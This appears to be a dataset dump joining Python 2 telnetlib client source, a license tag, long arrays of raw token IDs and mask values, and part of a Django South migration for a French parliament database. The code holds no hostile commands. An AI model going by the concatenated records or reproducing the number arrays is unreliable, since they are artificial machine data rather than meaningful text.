"""Constructor. When called without arguments, create an unconnected instance. With a hostname argument, it connects the instance; port number and timeout are optional. """ self.debuglevel = DEBUGLEVEL self.host = host self.port = port self.timeout = timeout self.sock = None self.rawq = '' self.irawq = 0 self.cookedq = '' self.eof = 0 self.iacseq = '' # Buffer for IAC sequence. self.sb = 0 # flag for SB and SE sequence. self.sbdataq = '' self.option_callback = None if host is not None: self.open(host, port, timeout) def open(self, host, port=0, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): """Connect to a host. The optional second argument is the port number, which defaults to the standard telnet port (23). Don't try to reopen an already connected instance. """ self.eof = 0 if not port: port = TELNET_PORT self.host = host self.port = port self.timeout = timeout self.sock = socket.create_connection((host, port), timeout) def __del__(self): """Destructor -- close the connection.""" self.close() def msg(self, msg, *args): """Print a debug message, when the debug level is > 0. If extra arguments are present, they are substituted in the message using the standard string formatting operator. """ if self.debuglevel > 0: print 'Telnet(%s,%s):' % (self.host, self.port), if args: print msg % args else: print msg def set_debuglevel(self, debuglevel): """Set the debug level. The higher it is, the more debug output you get (on sys.stdout). """ self.debuglevel = debuglevel def close(self): """Close the connection.""" if self.sock: self.sock.close() self.sock = 0 self.eof = 1 self.iacseq = '' self.sb = 0 def get_socket(self): """Return the socket object used internally.""" return self.sock def fileno(self): """Return the fileno() of the socket object used internally.""" return self.sock.fileno() def write(self, buffer): """Write a string to the socket, doubling any IAC characters. Can block if the connection is blocked. May raise socket.error if the connection is closed. """ if IAC in buffer: buffer = buffer.replace(IAC, IAC+IAC) self.msg("send %r", buffer) self.sock.sendall(buffer) def read_until(self, match, timeout=None): """Read until a given string is encountered or until timeout. When no match is found, return whatever is available instead, possibly the empty string. Raise EOFError if the connection is closed and no cooked data is available. """ n = len(match) self.process_rawq() i = self.cookedq.find(match) if i >= 0: i = i+n buf = self.cookedq[:i] self.cookedq = self.cookedq[i:] return buf s_reply = ([self], [], []) s_args = s_reply if timeout is not None: s_args = s_args + (timeout,) from time import time time_start = time() while not self.eof and select.select(*s_args) == s_reply: i = max(0, len(self.cookedq)-n) self.fill_rawq() self.process_rawq() i = self.cookedq.find(match, i) if i >= 0: i = i+n buf = self.cookedq[:i] self.cookedq = self.cookedq[i:] return buf if timeout is not None: elapsed = time() - time_start if elapsed >= timeout: break s_args = s_reply + (timeout-elapsed,) return self.read_very_lazy() def read_all(self): """Read all data until EOF; block until connection closed.""" self.process_rawq() while not self.eof: self.fill_rawq() self.process_rawq() buf = self.cookedq self.cookedq = '' return buf def read_some(self): """Read at least one byte of cooked data unless EOF is hit. Return '' if EOF is hit. Block if no data is immediately available. """ self.process_rawq() while not self.cookedq and not self.eof: self.fill_rawq() self.process_rawq() buf = self.cookedq self.cookedq = '' return buf def read_very_eager(self): """Read everything that's possible without blocking in I/O (eager). Raise EOFError if connection closed and no cooked data available. Return '' if no cooked data available otherwise. Don't block unless in the midst of an IAC sequence. """ self.process_rawq() while not self.eof and self.sock_avail(): self.fill_rawq() self.process_rawq() return self.read_very_lazy() def read_eager(self): """Read readily available data. Raise EOFError if connection closed and no cooked data available. Return '' if no cooked data available otherwise. Don't block unless in the midst of an IAC sequence. """ self.process_rawq() while not self.cookedq and not self.eof and self.sock_avail(): self.fill_rawq() self.process_rawq() return self.read_very_lazy() def read_lazy(self): """Process and return data that's already in the queues (lazy). Raise EOFError if connection closed and no data available. Return '' if no cooked data available otherwise. Don't block unless in the midst of an IAC sequence. """ self.process_rawq() return self.read_very_lazy() def read_very_lazy(self): """Return any data available in the cooked queue (very lazy). Raise EOFError if connection closed and no data available. Return '' if no cooked data available otherwise. Don't block. """ buf = self.cookedq self.cookedq = '' if not buf and self.eof and not self.rawq: raise EOFError, 'telnet connection closed' return buf def read_sb_data(self): """Return any data available in the SB ... SE queue. Return '' if no SB ... SE available. Should only be called after seeing a SB or SE command. When a new SB command is found, old unread SB data will be discarded. Don't block. """ buf = self.sbdataq self.sbdataq = '' return buf def set_option_negotiation_callback(self, callback): """Provide a callback function called after each receipt of a telnet option.""" self.option_callback = callback def process_rawq(self): """Transfer from raw queue to cooked queue. Set self.eof when connection is closed. Don't block unless in the midst of an IAC sequence. """ buf = ['', ''] try: while self.rawq: c = self.rawq_getchar() if not self.iacseq: if c == theNULL: continue if c == "\021": continue if c != IAC: buf[self.sb] = buf[self.sb] + c continue else: self.iacseq += c elif len(self.iacseq) == 1: # 'IAC: IAC CMD [OPTION only for WILL/WONT/DO/DONT]' if c in (DO, DONT, WILL, WONT): self.iacseq += c continue self.iacseq = '' if c == IAC: buf[self.sb] = buf[self.sb] + c else: if c == SB: # SB ... SE start. self.sb = 1 self.sbdataq = '' elif c == SE: self.sb = 0 self.sbdataq = self.sbdataq + buf[1] buf[1] = '' if self.option_callback: # Callback is supposed to look into # the sbdataq self.option_callback(self.sock, c, NOOPT) else: # We can't offer automatic processing of # suboptions. Alas, we should not get any # unless we did a WILL/DO before. self.msg('IAC %d not recognized' % ord(c)) elif len(self.iacseq) == 2: cmd = self.iacseq[1] self.iacseq = '' opt = c if cmd in (DO, DONT): self.msg('IAC %s %d', cmd == DO and 'DO' or 'DONT', ord(opt)) if self.option_callback: self.option_callback(self.sock, cmd, opt) else: self.sock.sendall(IAC + WONT + opt) elif cmd in (WILL, WONT): self.msg('IAC %s %d', cmd == WILL and 'WILL' or 'WONT', ord(opt)) if self.option_callback: self.option_callback(self.sock, cmd, opt) else: self.sock.sendall(IAC + DONT + opt) except EOFError: # raised by self.rawq_getchar() self.iacseq = '' # Reset on EOF self.sb = 0 pass self.cookedq = self.cookedq + buf[0] self.sbdataq = self.sbdataq + buf[1] def rawq_getchar(self): """Get next char from raw queue. Block if no data is immediately available. Raise EOFError when connection is closed. """ if not self.rawq: self.fill_rawq() if self.eof: raise EOFError c = self.rawq[self.irawq] self.irawq = self.irawq + 1 if self.irawq >= len(self.rawq): self.rawq = '' self.irawq = 0 return c def fill_rawq(self): """Fill raw queue from exactly one recv() system call. Block if no data is immediately available. Set self.eof when connection is closed. """ if self.irawq >= len(self.rawq): self.rawq = '' self.irawq = 0 # The buffer size should be fairly small so as to avoid quadratic # behavior in process_rawq() above buf = self.sock.recv(50) self.msg("recv %r", buf) self.eof = (not buf) self.rawq = self.rawq + buf def sock_avail(self): """Test whether data is available on the socket.""" return select.select([self], [], [], 0) == ([self], [], []) def interact(self): """Interaction function, emulates a very dumb telnet client.""" if sys.platform == "win32": self.mt_interact() return while 1: rfd, wfd, xfd = select.select([self, sys.stdin], [], []) if self in rfd: try: text = self.read_eager() except EOFError: print '*** Connection closed by remote host ***' break if text: sys.stdout.write(text) sys.stdout.flush() if sys.stdin in rfd: line = sys.stdin.readline() if not line: break self.write(line) def mt_interact(self): """Multithreaded version of interact().""" import thread thread.start_new_thread(self.listener, ()) while 1: line = sys.stdin.readline() if not line: break self.write(line) def listener(self): """Helper for mt_interact() -- this executes in the other thread.""" while 1: try: data = self.read_eager() except EOFError: print '*** Connection closed by remote host ***' return if data: sys.stdout.write(data) else: sys.stdout.flush() def expect(self, list, timeout=None): """Read until one from a list of a regular expressions matches. The first argument is a list of regular expressions, either compiled (re.RegexObject instances) or uncompiled (strings). The optional second argument is a timeout, in seconds; default is no timeout. Return a tuple of three items: the index in the list of the first regular expression that matches; the match object returned; and the text read up till and including the match. If EOF is read and no text was read, raise EOFError. Otherwise, when nothing matches, return (-1, None, text) where text is the text received so far (may be the empty string if a timeout happened). If a regular expression ends with a greedy match (e.g. '.*') or if more than one expression can match the same input, the results are undeterministic, and may depend on the I/O timing. """ re = None list = list[:] indices = range(len(list)) for i in indices: if not hasattr(list[i], "search"): if not re: import re list[i] = re.compile(list[i]) if timeout is not None: from time import time time_start = time() while 1: self.process_rawq() for i in indices: m = list[i].search(self.cookedq) if m: e = m.end() text = self.cookedq[:e] self.cookedq = self.cookedq[e:] return (i, m, text) if self.eof: break if timeout is not None: elapsed = time() - time_start if elapsed >= timeout: break s_args = ([self.fileno()], [], [], timeout-elapsed) r, w, x = select.select(*s_args) if not r: break self.fill_rawq() text = self.read_very_lazy() if not text and self.eof: raise EOFError return (-1, None, text) def test(): """Test program for telnetlib. Usage: python telnetlib.py [-d] ... [host [port]] Default host is localhost; default port is 23. """ debuglevel = 0 while sys.argv[1:] and sys.argv[1] == '-d': debuglevel = debuglevel+1 del sys.argv[1] host = 'localhost' if sys.argv[1:]: host = sys.argv[1] port = 0 if sys.argv[2:]: portstr = sys.argv[2] try: port = int(portstr) except ValueError: port = socket.getservbyname(portstr, 'tcp') tn = Telnet() tn.set_debuglevel(debuglevel) tn.open(host, port, timeout=0.5) tn.interact() tn.close() if __name__ == '__main__': test()
gpl-2.0
[ 82, 624, 52, 2901, 7278, 1890, 1021, 14, 199, 199, 20409, 641, 7329, 1695, 1477, 26, 377, 2901, 7278, 11557, 5367, 3477, 12, 701, 1603, 14, 25987, 14146, 436, 199, 42, 14, 799, 1236, 8250, 199, 199, 9846, 26, 199, 199, 6071, 687, 26519, 773, 492, 377, 352, 846, 199, 6071, 22762, 275, 377, 352, 846, 360, 1544, 14, 1548, 14, 1308, 297, 13734, 9, 257, 327, 4907, 370, 289, 7886, 1844, 199, 6071, 22762, 14, 952, 360, 9473, 79, 60, 82, 60, 78, 358, 199, 6071, 870, 22762, 14, 739, 63, 452, 342, 199, 8880, 755, 2812, 5185, 377, 2099, 260, 473, 3011, 259, 3979, 259, 17685, 199, 9473, 79, 259, 598, 1535, 79, 20744, 6848, 385, 453, 420, 21286, 15, 18, 263, 665, 8584, 221, 499, 4119, 26, 709, 30, 6895, 643, 14, 6413, 322, 14, 3911, 265, 703, 199, 199, 6071, 199, 199, 7443, 626, 1586, 63, 452, 342, 7859, 1133, 1586, 5133, 29403, 1553, 652, 2951, 11597, 2005, 666, 199, 306, 1325, 652, 12072, 397, 370, 1586, 737, 5210, 1373, 3696, 7444, 9027, 365, 9793, 14, 199, 199, 7940, 365, 3962, 370, 986, 282, 377, 352, 846, 909, 370, 3504, 14, 2416, 342, 315, 1865, 370, 199, 2573, 5133, 1655, 666, 365, 2808, 14, 221, 3390, 626, 315, 642, 1930, 12, 199, 739, 63, 10283, 342, 1443, 372, 2125, 2755, 340, 2337, 1990, 666, 641, 314, 2838, 12, 199, 20684, 314, 4113, 29184, 425, 1443, 1172, 325, 323, 78, 314, 666, 14, 221, 961, 365, 10842, 199, 13178, 547, 365, 4346, 315, 2005, 5560, 370, 22237, 3382, 298, 889, 666, 2, 436, 199, 2, 2105, 6876, 2, 334, 8585, 314, 2838, 2597, 11337, 10144, 367, 7664, 199, 6526, 652, 365, 6876, 680, 199, 199, 1378, 886, 26, 199, 13, 945, 29184, 425, 199, 13, 2653, 1077, 506, 31570, 262, 9916, 370, 314, 1950, 909, 3140, 402, 376, 523, 945, 641, 1373, 402, 314, 1586, 4882, 1454, 199, 199, 624, 421, 199, 3, 8362, 1376, 4621, 199, 646, 984, 199, 646, 2838, 199, 646, 3504, 199, 199, 363, 452, 363, 275, 2097, 52, 352, 846, 937, 199, 199, 3, 377, 17200, 2633, 199, 5287, 11817, 275, 378, 199, 199, 3, 377, 352, 846, 4113, 4243, 199, 52, 2901, 7278, 63, 3657, 275, 6546, 199, 199, 3, 377, 352, 846, 4113, 4110, 334, 13196, 1133, 1570, 9, 199, 41, 1348, 221, 275, 8678, 8, 2299, 9, 327, 298, 2620, 25133, 3709, 5817, 2, 199, 31874, 275, 8678, 8, 8306, 9, 199, 1649, 257, 275, 8678, 8, 3781, 9, 199, 55, 5994, 275, 8678, 8, 6390, 9, 199, 55, 14961, 275, 8678, 8, 12140, 9, 199, 1589, 8084, 275, 8678, 8, 16, 9, 199, 199, 899, 221, 275, 8678, 8, 9873, 9, 221, 327, 4804, 21961, 425, 9599, 199, 46, 1938, 275, 8678, 8, 13571, 9, 221, 327, 3091, 17954, 199, 17751, 221, 275, 8678, 8, 13212, 9, 221, 327, 3918, 7173, 199, 7184, 43, 275, 8678, 8, 13440, 9, 221, 327, 22535, 199, 1772, 221, 275, 8678, 8, 11603, 9, 221, 327, 6551, 6987, 2112, 199, 23320, 221, 275, 8678, 8, 11677, 9, 221, 327, 31455, 1072, 199, 3448, 52, 275, 8678, 8, 11440, 9, 221, 327, 23889, 2047, 6006, 199, 4220, 221, 275, 8678, 8, 11717, 9, 221, 327, 662, 8062, 17660, 199, 2901, 221, 275, 8678, 8, 11242, 9, 221, 327, 662, 8062, 7030, 199, 9741, 221, 275, 8678, 8, 11032, 9, 221, 327, 3971, 437, 2993, 199, 12463, 275, 221, 8678, 8, 7991, 9, 221, 327, 4804, 21961, 425, 25754, 421, 199, 3, 377, 352, 846, 4113, 1511, 1233, 334, 13196, 1133, 1570, 9, 199, 3, 5723, 7869, 1006, 11492, 687, 601, 387, 15, 31085, 14, 72, 199, 13246, 275, 8678, 8, 16, 9, 327, 1695, 13, 2075, 666, 931, 199, 37, 10465, 275, 8678, 8, 17, 9, 327, 11343, 199, 50, 2890, 275, 8678, 8, 18, 9, 327, 9275, 370, 30882, 199, 4254, 33, 275, 8678, 8, 19, 9, 327, 15678, 2621, 23417, 199, 7335, 51, 275, 8678, 8, 20, 9, 327, 19917, 1245, 1568, 199, 6305, 275, 8678, 8, 21, 9, 327, 8120, 2004, 199, 20690, 275, 8678, 8, 22, 9, 327, 20542, 2216, 199, 50, 1028, 37, 275, 8678, 8, 23, 9, 327, 3982, 22284, 1752, 2250, 436, 11343, 199, 7170, 2228, 275, 8678, 8, 24, 9, 327, 29184, 323, 3595, 1072, 1004, 3462, 199, 7170, 1938, 275, 8678, 8, 25, 9, 327, 29184, 323, 3595, 1072, 2034, 1568, 199, 7170, 47, 2944, 36, 275, 8678, 8, 709, 9, 327, 29184, 323, 3595, 17101, 2153, 3124, 199, 7170, 47, 2148, 51, 275, 8678, 8, 845, 9, 327, 29184, 323, 3595, 17528, 5174, 270, 1483, 199, 7170, 47, 2148, 36, 275, 8678, 8, 713, 9, 327, 29184, 323, 3595, 17528, 5174, 2153, 3124, 199, 7170, 7517, 36, 275, 8678, 8, 969, 9, 327, 29184, 323, 3595, 1824, 3871, 2153, 3124, 199, 7170, 47, 8156, 51, 275, 8678, 8, 1079, 9, 327, 29184, 323, 3595, 13763, 5174, 20922, 199, 7170, 47, 8156, 36, 275, 8678, 8, 1046, 9, 327, 29184, 323, 3595, 13763, 5174, 2153, 3124, 199, 7170, 2228, 7902, 275, 8678, 8, 975, 9, 327, 29184, 323, 3595, 1072, 491, 38, 2153, 3124, 199, 56, 12292, 275, 8678, 8, 1196, 9, 327, 9243, 13294, 4528, 663, 199, 4947, 1877, 275, 8678, 8, 1085, 9, 327, 3542, 22079, 199, 15225, 275, 8678, 8, 1167, 9, 327, 3696, 9559, 199, 17442, 275, 8678, 8, 1165, 9, 327, 666, 2397, 11167, 199, 7380, 24099, 275, 8678, 8, 2025, 9, 327, 1029, 11048, 4113, 199, 7380, 4980, 1512, 934, 4013, 275, 8678, 8, 1081, 9, 327, 1029, 11048, 1072, 199, 8199, 36, 5752, 275, 8678, 8, 1789, 9, 327, 3222, 2909, 199, 1481, 4948, 275, 8678, 8, 1194, 9, 327, 11167, 730, 199, 37, 726, 275, 8678, 8, 821, 9, 327, 1284, 503, 2777, 199, 52, 6685, 275, 8678, 8, 1479, 9, 327, 377, 1348, 1348, 51, 922, 29193, 199, 1877, 22153, 43, 275, 8678, 8, 1465, 9, 327, 1072, 31318, 199, 1481, 57, 5752, 275, 8678, 8, 1651, 9, 327, 11167, 2909, 1329, 199, 8156, 708, 2760, 5616, 3465, 275, 8678, 8, 1398, 9, 327, 650, 13299, 1295, 1036, 199 ]
[ 624, 52, 2901, 7278, 1890, 1021, 14, 199, 199, 20409, 641, 7329, 1695, 1477, 26, 377, 2901, 7278, 11557, 5367, 3477, 12, 701, 1603, 14, 25987, 14146, 436, 199, 42, 14, 799, 1236, 8250, 199, 199, 9846, 26, 199, 199, 6071, 687, 26519, 773, 492, 377, 352, 846, 199, 6071, 22762, 275, 377, 352, 846, 360, 1544, 14, 1548, 14, 1308, 297, 13734, 9, 257, 327, 4907, 370, 289, 7886, 1844, 199, 6071, 22762, 14, 952, 360, 9473, 79, 60, 82, 60, 78, 358, 199, 6071, 870, 22762, 14, 739, 63, 452, 342, 199, 8880, 755, 2812, 5185, 377, 2099, 260, 473, 3011, 259, 3979, 259, 17685, 199, 9473, 79, 259, 598, 1535, 79, 20744, 6848, 385, 453, 420, 21286, 15, 18, 263, 665, 8584, 221, 499, 4119, 26, 709, 30, 6895, 643, 14, 6413, 322, 14, 3911, 265, 703, 199, 199, 6071, 199, 199, 7443, 626, 1586, 63, 452, 342, 7859, 1133, 1586, 5133, 29403, 1553, 652, 2951, 11597, 2005, 666, 199, 306, 1325, 652, 12072, 397, 370, 1586, 737, 5210, 1373, 3696, 7444, 9027, 365, 9793, 14, 199, 199, 7940, 365, 3962, 370, 986, 282, 377, 352, 846, 909, 370, 3504, 14, 2416, 342, 315, 1865, 370, 199, 2573, 5133, 1655, 666, 365, 2808, 14, 221, 3390, 626, 315, 642, 1930, 12, 199, 739, 63, 10283, 342, 1443, 372, 2125, 2755, 340, 2337, 1990, 666, 641, 314, 2838, 12, 199, 20684, 314, 4113, 29184, 425, 1443, 1172, 325, 323, 78, 314, 666, 14, 221, 961, 365, 10842, 199, 13178, 547, 365, 4346, 315, 2005, 5560, 370, 22237, 3382, 298, 889, 666, 2, 436, 199, 2, 2105, 6876, 2, 334, 8585, 314, 2838, 2597, 11337, 10144, 367, 7664, 199, 6526, 652, 365, 6876, 680, 199, 199, 1378, 886, 26, 199, 13, 945, 29184, 425, 199, 13, 2653, 1077, 506, 31570, 262, 9916, 370, 314, 1950, 909, 3140, 402, 376, 523, 945, 641, 1373, 402, 314, 1586, 4882, 1454, 199, 199, 624, 421, 199, 3, 8362, 1376, 4621, 199, 646, 984, 199, 646, 2838, 199, 646, 3504, 199, 199, 363, 452, 363, 275, 2097, 52, 352, 846, 937, 199, 199, 3, 377, 17200, 2633, 199, 5287, 11817, 275, 378, 199, 199, 3, 377, 352, 846, 4113, 4243, 199, 52, 2901, 7278, 63, 3657, 275, 6546, 199, 199, 3, 377, 352, 846, 4113, 4110, 334, 13196, 1133, 1570, 9, 199, 41, 1348, 221, 275, 8678, 8, 2299, 9, 327, 298, 2620, 25133, 3709, 5817, 2, 199, 31874, 275, 8678, 8, 8306, 9, 199, 1649, 257, 275, 8678, 8, 3781, 9, 199, 55, 5994, 275, 8678, 8, 6390, 9, 199, 55, 14961, 275, 8678, 8, 12140, 9, 199, 1589, 8084, 275, 8678, 8, 16, 9, 199, 199, 899, 221, 275, 8678, 8, 9873, 9, 221, 327, 4804, 21961, 425, 9599, 199, 46, 1938, 275, 8678, 8, 13571, 9, 221, 327, 3091, 17954, 199, 17751, 221, 275, 8678, 8, 13212, 9, 221, 327, 3918, 7173, 199, 7184, 43, 275, 8678, 8, 13440, 9, 221, 327, 22535, 199, 1772, 221, 275, 8678, 8, 11603, 9, 221, 327, 6551, 6987, 2112, 199, 23320, 221, 275, 8678, 8, 11677, 9, 221, 327, 31455, 1072, 199, 3448, 52, 275, 8678, 8, 11440, 9, 221, 327, 23889, 2047, 6006, 199, 4220, 221, 275, 8678, 8, 11717, 9, 221, 327, 662, 8062, 17660, 199, 2901, 221, 275, 8678, 8, 11242, 9, 221, 327, 662, 8062, 7030, 199, 9741, 221, 275, 8678, 8, 11032, 9, 221, 327, 3971, 437, 2993, 199, 12463, 275, 221, 8678, 8, 7991, 9, 221, 327, 4804, 21961, 425, 25754, 421, 199, 3, 377, 352, 846, 4113, 1511, 1233, 334, 13196, 1133, 1570, 9, 199, 3, 5723, 7869, 1006, 11492, 687, 601, 387, 15, 31085, 14, 72, 199, 13246, 275, 8678, 8, 16, 9, 327, 1695, 13, 2075, 666, 931, 199, 37, 10465, 275, 8678, 8, 17, 9, 327, 11343, 199, 50, 2890, 275, 8678, 8, 18, 9, 327, 9275, 370, 30882, 199, 4254, 33, 275, 8678, 8, 19, 9, 327, 15678, 2621, 23417, 199, 7335, 51, 275, 8678, 8, 20, 9, 327, 19917, 1245, 1568, 199, 6305, 275, 8678, 8, 21, 9, 327, 8120, 2004, 199, 20690, 275, 8678, 8, 22, 9, 327, 20542, 2216, 199, 50, 1028, 37, 275, 8678, 8, 23, 9, 327, 3982, 22284, 1752, 2250, 436, 11343, 199, 7170, 2228, 275, 8678, 8, 24, 9, 327, 29184, 323, 3595, 1072, 1004, 3462, 199, 7170, 1938, 275, 8678, 8, 25, 9, 327, 29184, 323, 3595, 1072, 2034, 1568, 199, 7170, 47, 2944, 36, 275, 8678, 8, 709, 9, 327, 29184, 323, 3595, 17101, 2153, 3124, 199, 7170, 47, 2148, 51, 275, 8678, 8, 845, 9, 327, 29184, 323, 3595, 17528, 5174, 270, 1483, 199, 7170, 47, 2148, 36, 275, 8678, 8, 713, 9, 327, 29184, 323, 3595, 17528, 5174, 2153, 3124, 199, 7170, 7517, 36, 275, 8678, 8, 969, 9, 327, 29184, 323, 3595, 1824, 3871, 2153, 3124, 199, 7170, 47, 8156, 51, 275, 8678, 8, 1079, 9, 327, 29184, 323, 3595, 13763, 5174, 20922, 199, 7170, 47, 8156, 36, 275, 8678, 8, 1046, 9, 327, 29184, 323, 3595, 13763, 5174, 2153, 3124, 199, 7170, 2228, 7902, 275, 8678, 8, 975, 9, 327, 29184, 323, 3595, 1072, 491, 38, 2153, 3124, 199, 56, 12292, 275, 8678, 8, 1196, 9, 327, 9243, 13294, 4528, 663, 199, 4947, 1877, 275, 8678, 8, 1085, 9, 327, 3542, 22079, 199, 15225, 275, 8678, 8, 1167, 9, 327, 3696, 9559, 199, 17442, 275, 8678, 8, 1165, 9, 327, 666, 2397, 11167, 199, 7380, 24099, 275, 8678, 8, 2025, 9, 327, 1029, 11048, 4113, 199, 7380, 4980, 1512, 934, 4013, 275, 8678, 8, 1081, 9, 327, 1029, 11048, 1072, 199, 8199, 36, 5752, 275, 8678, 8, 1789, 9, 327, 3222, 2909, 199, 1481, 4948, 275, 8678, 8, 1194, 9, 327, 11167, 730, 199, 37, 726, 275, 8678, 8, 821, 9, 327, 1284, 503, 2777, 199, 52, 6685, 275, 8678, 8, 1479, 9, 327, 377, 1348, 1348, 51, 922, 29193, 199, 1877, 22153, 43, 275, 8678, 8, 1465, 9, 327, 1072, 31318, 199, 1481, 57, 5752, 275, 8678, 8, 1651, 9, 327, 11167, 2909, 1329, 199, 8156, 708, 2760, 5616, 3465, 275, 8678, 8, 1398, 9, 327, 650, 13299, 1295, 1036, 199, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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oding: utf-8 from south.db import db from south.v2 import SchemaMigration class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Function' db.create_table('mps_function', ( ('type', self.gf('django.db.models.fields.CharField')(max_length=255)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('title', self.gf('django.db.models.fields.CharField')(max_length=255)), )) db.send_create_signal('mps', ['Function']) # Adding model 'Opinion' db.create_table('mps_opinion', ( ('url', self.gf('django.db.models.fields.URLField')(max_length=200)), ('content', self.gf('django.db.models.fields.TextField')()), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('title', self.gf('django.db.models.fields.CharField')(unique=True, max_length=1023)), )) db.send_create_signal('mps', ['Opinion']) # Adding model 'Department' db.create_table('mps_department', ( ('name', self.gf('django.db.models.fields.CharField')(unique=True, max_length=255)), ('number', self.gf('django.db.models.fields.CharField')(max_length=3, primary_key=True)), )) db.send_create_signal('mps', ['Department']) # Adding model 'Circonscription' db.create_table('mps_circonscription', ( ('department', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.Department'])), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('number', self.gf('django.db.models.fields.CharField')(max_length=31)), )) db.send_create_signal('mps', ['Circonscription']) # Adding model 'Canton' db.create_table('mps_canton', ( ('circonscription', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.Circonscription'])), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=511)), )) db.send_create_signal('mps', ['Canton']) # Adding model 'Group' db.create_table('mps_group', ( ('abbreviation', self.gf('django.db.models.fields.CharField')(max_length=31, primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=255)), )) db.send_create_signal('mps', ['Group']) # Adding model 'MP' db.create_table('mps_mp', ( ('an_debates', self.gf('django.db.models.fields.URLField')(max_length=200, null=True)), ('an_id', self.gf('django.db.models.fields.IntegerField')()), ('group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.Group'])), ('birth_department', self.gf('django.db.models.fields.CharField')(max_length=255)), ('an_reports', self.gf('django.db.models.fields.URLField')(max_length=200)), ('profession', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('representative_ptr', self.gf('django.db.models.fields.related.OneToOneField')(to=orm['reps.Representative'], unique=True, primary_key=True)), ('department', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.Department'])), ('an_commissions', self.gf('django.db.models.fields.URLField')(max_length=200)), ('active', self.gf('django.db.models.fields.BooleanField')(default=False, blank=True)), ('an_speeches', self.gf('django.db.models.fields.URLField')(max_length=200)), ('an_questions', self.gf('django.db.models.fields.URLField')(max_length=200)), ('an_propositions', self.gf('django.db.models.fields.URLField')(max_length=200)), ('an_webpage', self.gf('django.db.models.fields.URLField')(max_length=200)), ('group_role', self.gf('django.db.models.fields.CharField')(max_length=63, null=True)), )) db.send_create_signal('mps', ['MP']) # Adding model 'FunctionMP' db.create_table('mps_functionmp', ( ('function', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.Function'])), ('mission', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('role', self.gf('django.db.models.fields.CharField')(max_length=255)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('mp', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.MP'])), )) db.send_create_signal('mps', ['FunctionMP']) # Adding model 'Address' db.create_table('mps_address', ( ('city', self.gf('django.db.models.fields.CharField')(max_length=255)), ('title', self.gf('django.db.models.fields.CharField')(max_length=63, null=True)), ('street', self.gf('django.db.models.fields.CharField')(max_length=255)), ('postcode', self.gf('django.db.models.fields.CharField')(max_length=31)), ('key', self.gf('django.db.models.fields.CharField')(max_length=255)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('mp', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.MP'])), )) db.send_create_signal('mps', ['Address']) # Adding model 'Phone' db.create_table('mps_phone', ( ('address', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.Address'])), ('type', self.gf('django.db.models.fields.CharField')(max_length=5)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('number', self.gf('django.db.models.fields.CharField')(max_length=63)), )) db.send_create_signal('mps', ['Phone']) # Adding model 'Mandate' db.create_table('mps_mandate', ( ('election_date', self.gf('django.db.models.fields.DateField')(null=True)), ('end_term', self.gf('django.db.models.fields.DateField')(null=True)), ('begin_term', self.gf('django.db.models.fields.DateField')(null=True)), ('institution', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('current', self.gf('django.db.models.fields.BooleanField')(default=False, blank=True)), ('begin_reason', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('role', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('mp', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['mps.MP'])), ('end_reason', self.gf('django.db.models.fields.CharField')(max_length=255, null=True)), ('type', self.gf('django.db.models.fields.CharField')(max_length=127)), ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), )) db.send_create_signal('mps', ['Mandate']) def backwards(self, orm): # Deleting model 'Function' db.delete_table('mps_function') # Deleting model 'Opinion' db.delete_table('mps_opinion') # Deleting model 'Department' db.delete_table('mps_department') # Deleting model 'Circonscription' db.delete_table('mps_circonscription') # Deleting model 'Canton' db.delete_table('mps_canton') # Deleting model 'Group' db.delete_table('mps_group') # Deleting model 'MP' db.delete_table('mps_mp') # Deleting model 'FunctionMP' db.delete_table('mps_functionmp') # Deleting model 'Address' db.delete_table('mps_address') # Deleting model 'Phone' db.delete_table('mps_phone') # Deleting model 'Mandate' db.delete_table('mps_mandate') models = { 'mps.address': { 'Meta': {'object_name': 'Address'}, 'city': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'key': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'mp': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.MP']"}), 'postcode': ('django.db.models.fields.CharField', [], {'max_length': '31'}), 'street': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '63', 'null': 'True'}) }, 'mps.canton': { 'Meta': {'object_name': 'Canton'}, 'circonscription': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.Circonscription']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '511'}) }, 'mps.circonscription': { 'Meta': {'object_name': 'Circonscription'}, 'department': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.Department']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'number': ('django.db.models.fields.CharField', [], {'max_length': '31'}) }, 'mps.department': { 'Meta': {'object_name': 'Department'}, 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}), 'number': ('django.db.models.fields.CharField', [], {'max_length': '3', 'primary_key': 'True'}) }, 'mps.function': { 